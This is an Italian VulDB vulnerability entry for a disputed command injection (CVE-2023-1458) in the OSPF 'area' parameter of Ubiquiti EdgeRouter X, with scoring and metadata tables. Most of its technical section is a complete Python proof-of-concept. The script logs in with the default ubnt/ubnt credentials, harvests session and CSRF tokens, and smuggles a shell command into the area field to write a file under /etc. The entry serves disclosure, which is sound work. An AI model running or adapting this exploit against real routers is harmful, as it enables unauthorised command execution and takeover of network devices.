Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area escalationi di privilegi ⚔ [Contestato]
| CVSS Punteggio meta temporaneo | Prezzo attuale dell'exploit (≈) | Punteggio di interesse CTI |
|---|---|---|
| 7.8 | $0-$5k | 0.00 |
Riassunto
È stata individuata una vulnerabilità classificata come critico in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Da questa vulnerabilità è interessato una funzione sconosciuta del componente OSPF Handler. La manipolazione del parametro area di un input sconosciuto se causa una vulnerabilità di classe escalationi di privilegi. Questa vulnerabilità è registrata come CVE-2023-1458. L'attacco può essere lanciato dalla rete. Inoltre, è presente un exploit disponibile. L'esistenza reale di questa vulnerabilità è ancora messa in dubbio al momento.
Dettagli
Un punto critico di livello critico è stato rilevato in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). É interessato una funzione sconosciuta del componente OSPF Handler. Per causa della manipolazione del parametro area di un input sconosciuto per mezzo di una vulerabilità di classe escalationi di privilegi. Non sono ancora conosciuti gli effetti esatti di un attacco con sussesso.
La vulnerabilità è stata pubblicata in data 17/03/2023 (non definito). Questo punto di criticità è identificato come CVE-2023-1458. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.
L'exploit è scaricabile da vuldb.com. È stato dichiarato come prova di concetto. La reale esistenza di questa vulnerabilità al momento è dubbia. Il codice utilizzato dal exploit è:
import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'
phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '27',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken),
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.post(url=login_url,headers=header,data=login_body,\
timeout=5,verify=False,allow_redirects=False)
if r is None or 'Set-Cookie' not in r.headers.keys():
print("Login failed.")
time.sleep((3-loop)*3)
else:
break
except Exception as e:
print('Login error:{}'.format(e))
if r is None:
print('Failed login,please check and retry!')
exit(1)
tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
if 'PHPSESSID' == k:
phpsessid = '{}'.format(v)
elif 'X-CSRF-TOKEN' == k:
csrftoken = '{}'.format(v)
elif 'beaker.session.id' == k:
sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken)
param = {'SET': {'protocols': {'ospf':
{'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}
victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-CSRF-TOKEN': '{}'.format(csrftoken),
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken),
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
timeout=5,verify=False,allow_redirects=False)
print(r.status_code)Informazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.
La vulnerabilità è documentata anche nei database EUVD (EUVD-2023-23707). Be aware that VulDB is the high quality source for vulnerability data.
Prodotto
Genere
Fornitore
Nome
Versione
Licenza
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vettore: 🔍VulDB Affidabilità: 🔍
CVSSv3
VulDB Punteggio meta-base: 8.1VulDB Punteggio meta temporaneo: 7.8
VulDB Punteggio di base: 7.2
VulDB Punteggio temporaneo: 6.5
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 9.8
NVD Vettore: 🔍
CNA Punteggio di base: 7.2
CNA Vettore (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vettore | Complessità | Autenticazione | Riservatezza | Integrità | Disponibilità |
|---|---|---|---|---|---|
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 🔍
Sfruttamento
Classe: Escalationi di privilegiCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Fisico: No
Locale: No
Remoto: Si
Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Scaricare: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍
| 0-Day | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
|---|---|---|---|---|
| Oggi | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
Intelligence sulle minacce
Interesse: 🔍Attori attivi: 🔍
Gruppi APT attivi: 🔍
Contromisure
Raccomandazione: nessuna contromisura conosciutaStato: 🔍
Tempo 0 giorni: 🔍
Sequenza temporale
17/03/2023 🔍17/03/2023 🔍
17/03/2023 🔍
11/08/2025 🔍
Fonti
Stato: Non definitoContestato: 🔍
CVE: CVE-2023-1458 (🔍)
GCVE (CVE): GCVE-0-2023-1458
GCVE (VulDB): GCVE-100-223303
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Voce
Data di creazione: 17/03/2023 08:38Aggiornato: 11/08/2025 07:30
Cambiamenti: 17/03/2023 08:38 (40), 17/03/2023 08:40 (3), 11/04/2023 12:10 (2), 11/04/2023 12:18 (28), 11/08/2025 07:30 (16)
Completa: 🔍
Inviato: leetmoon
Cache ID: 216::103
Invia
Accettato
- Invia #99980: Command injection at the web management interface of EdgeRouter-x(3) (di leetmoon)
Be aware that VulDB is the high quality source for vulnerability data.
Ancora nessun commento. Lingue: it + ro + en.
Effettua il login per commentare.